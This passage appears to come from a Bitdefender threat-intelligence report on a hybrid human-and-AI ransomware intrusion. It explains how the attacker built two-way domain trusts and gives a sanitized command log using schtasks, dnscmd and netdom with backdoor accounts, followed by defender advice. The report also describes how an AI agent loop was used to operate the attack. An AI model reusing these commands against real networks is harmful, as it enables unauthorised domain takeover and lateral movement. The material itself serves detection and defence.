Defender action: Hunt for literal probe and confirmation artifacts on hosts that should never see them: files or scheduled tasks named with strings like test123, psexec-ok, da_proof, or VEEAMPROBE, and scripts that write numbered self-logging output. These are cheap, high-signal, and rarely benign on a production server.

Joining the Domains: How the Attacker Built Two-Way Trusts

The estate’s domains were originally separate. This section is the worked example of the hybrid pattern, because joining domains is fiddly, order-sensitive configuration where one wrong detail stops everything, and the fix is found by reading errors and trying again.

The groundwork came on 13 September, when the attacker enumerated trusts with nltest /domain_trusts and searched SYSVOL for other schools’ names and subnets.

The build ran on 18 September, from 15:39 to 18:37 UTC. Within that window the attacker created two-way trusts between three domains using netdom (the built-in tool for managing domain trusts) and dnscmd (the built-in DNS management tool) (T1484.002 Domain Trust Modification). A two-way trust lets an account from one domain authenticate in the others. It does not grant permissions by itself, which is why the attacker followed the trusts with an explicit access push. The first step was a dnscmd call that created a conditional forwarder, a DNS rule that sends lookups for another domain to that domain’s name servers, so the domains could find each other. The netdom calls then built the trust, first from one side (16:09) and, seven minutes later, from the other (16:16).

The trust commands authenticate as library in three different domains, and as svc_bkpmon in at least one. That tells us the backdoor accounts had already been created in several domains before the trusts were built, which is how the attacker had the rights to build them.

Also inside that same three-hour window, the attacker ran a sequence of diagnostic probes and restarted Netlogon, the Windows service that maintains the secure channel between domains. Three probes (diag_member, diag_nl and lmhosts_test) ran between 16:26 and 16:31, before the access push. A fourth (wb_probe) ran at 17:23, after it, and checked the trusts with netdom trust /verify in both directions between two of the domains. Netlogon was restarted (nl_restart) at 18:36. The probe sequence is the diagnose-and-adapt evidence for the trust build. Because the script bodies are unavailable, we cannot say what the probes returned or whether the first trust attempt succeeded.

The access push began at 16:36 UTC, after the first probes: grant_lib.ps1 was pushed by scheduled task to about 40 machines, 3 to 50 seconds apart, granting the backdoor account access everywhere, with stragglers retried at 17:07 and 17:22 (T1078.002 Valid Accounts: Domain Accounts). About 50 machines were reached from the unmanaged host, and about 37 were encrypted the next morning. That cross-domain encryption suggests the trusts functioned, though we treat it as suggestive rather than as proof.

Commands (sanitized, UTC). <domain2>, <domain3> and <domain4> are three different domains, and the <...-netbios> tokens are their short names. Passwords are redacted in the log.

2026-09-18 15:48:19 schtasks /create /s <ip> /u <domain2-netbios>\svc_bkpmon /p <redacted> /tn WindowsTempDiag /tr "powershell -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\trust_<name>.ps1" /sc once /st 23:59 /ru SYSTEM /f

2026-09-18 16:09:30 dnscmd . /zoneadd <domain2> /forwarder <ip> <ip> /dsforwarder
2026-09-18 16:09:34 netdom trust <domain3> /d:<domain2> /add /twoway /ud:<domain3-netbios>\library /pd:<redacted> /uo:<domain2-netbios>\svc_bkpmon /po:<redacted>
2026-09-18 16:16:23 netdom trust <domain2> /d:<domain3> /add /twoway /ud:<domain2-netbios>\library /pd:<redacted> /uo:<domain3-netbios>\library /po:<redacted> /verbose

2026-09-18 16:26:48 cmd.exe /c ""C:\Windows\Temp\diag_member.bat""
2026-09-18 16:28:26 cmd.exe /c ""C:\Windows\Temp\diag_nl.bat""
2026-09-18 16:31:43 cmd.exe /c ""C:\Windows\Temp\lmhosts_test.bat""

2026-09-18 17:23:44 cmd.exe /c ""C:\Windows\Temp\wb_probe.bat""
2026-09-18 17:23:44 w32tm /stripchart /computer:<ip> /samples:2 /dataonly
2026-09-18 17:23:46 netdom trust <domain4> /d:<domain3> /verify /ud:<domain4-netbios>\library /pd:<redacted> /uo:<domain3-netbios>\<account> /po:<redacted>
2026-09-18 17:24:07 netdom trust <domain3> /d:<domain4> /verify /ud:<domain4-netbios>\library /pd:<redacted> /uo:<domain3-netbios>\<account> /po:<redacted>

2026-09-18 18:36:56 cmd.exe /c ""C:\Windows\Temp\nl_restart.bat""

Defender action: Alert on the creation of any new domain trust and on netdom trust execution. A new trust between domains is a rare, high-privilege change that a healthy estate almost never makes.

MITRE ATT&CK Mapping

Conclusion and Recommendations

It is one thing to find anecdotal experiments with AI in attacks, and another to find the approach inside a working ransomware playbook. The affiliate in this case ran its usual sequence: backup credential theft, rogue domain administrators, trusts between domains, removal of endpoint security, encryption. It handed the hands-on work to a hybrid of a person and a model. One case does not make a trend, but the approach looks pragmatic: the model takes the mechanical, repetitive work, and nothing in it needed skill or spend that these attackers did not already have. We will be watching for more cases like this one, and for whether the playbook spreads.

Agentic loops are noisy. A loop that reads each result and tries again keeps repeating itself: the same command re-run unchanged, then a small tweak, then a different tool, numbered script after numbered script, probe files and confirmation strings left on disk, the same reconnaissance from several angles. Here the retries came every 40 to 100 seconds. This noise is easy to discover, and it is often underreported in accounts of AI-operated attacks, but it is the attribute defenders most need to understand. A loop does not make an intrusion quiet or subtle. It makes it repetitive, and repetition is what gives it away.

Prevent, do not race. Detection that depends on spotting enough events quickly enough loses to anything that tries again every minute. Prefer controls that work regardless of volume and speed, because they stop an action the first time and the hundredth:

• Keep the administrative accounts of separate domains separate, and never keep privileged credentials for several domains in one place. Creating a trust takes administrative rights in each domain involved. After taking credentials from the backup servers, the attacker created the library account in at least three domains and used it to build the trusts. Put domain trusts and domain-admin accounts behind change control, and alert on every one that appears without it.
• Treat backup as a target, and review your backup strategy for malicious intent. Most backup designs assume accidents. This attacker hit the backup layer first (credential theft) and last (deletion of system-state backups). Scope backup accounts per domain, isolate the backup servers, and keep immutable recovery copies that no domain account can delete.
• Restrict remote execution and administrative shares. WMI, remote registry, scheduled-task creation and ADMIN$ access were the attacker’s movement fabric. Limit them to known management hosts.
• Block interpreters and shells on machines that never use them. Portable Python and PowerShell on ordinary workstations ran the attacker’s tooling.
• Put an endpoint agent on every machine. The staging host here was unmanaged, which is why we cannot say who or what drove the commands.

Nothing here is new. We have seen nothing novel or creative in this attack: built-in tools, a few public ones and a commodity encryptor. The security practices that stop conventional ransomware stop this too, and they should be adopted. What a model changes is not what works, but what the traces look like.

IOCs and How to Follow Our Research

The full indicator set for this research is available from our GitHub IOC repository to support other researchers and the wider defender community. The same indicators are also delivered through Bitdefender IntelliZone, our threat intelligence platform, alongside the broader context around this activity.

This research is part of Ctrl-Alt-DECODE, Bitdefender’s threat intelligence initiative.

1. Subscribe to the newsletter: original research, advisories, and threat intelligence from Bitdefender Labs and our MDR teams. Subscribe here.
2. Watch the live series: we break down each investigation on a live Ctrl-Alt-DECODE stream, then archive it on YouTube. Watch the live discussion,
   A Hybrid AI Ransomware Attack, or browse the archive of previous episodes.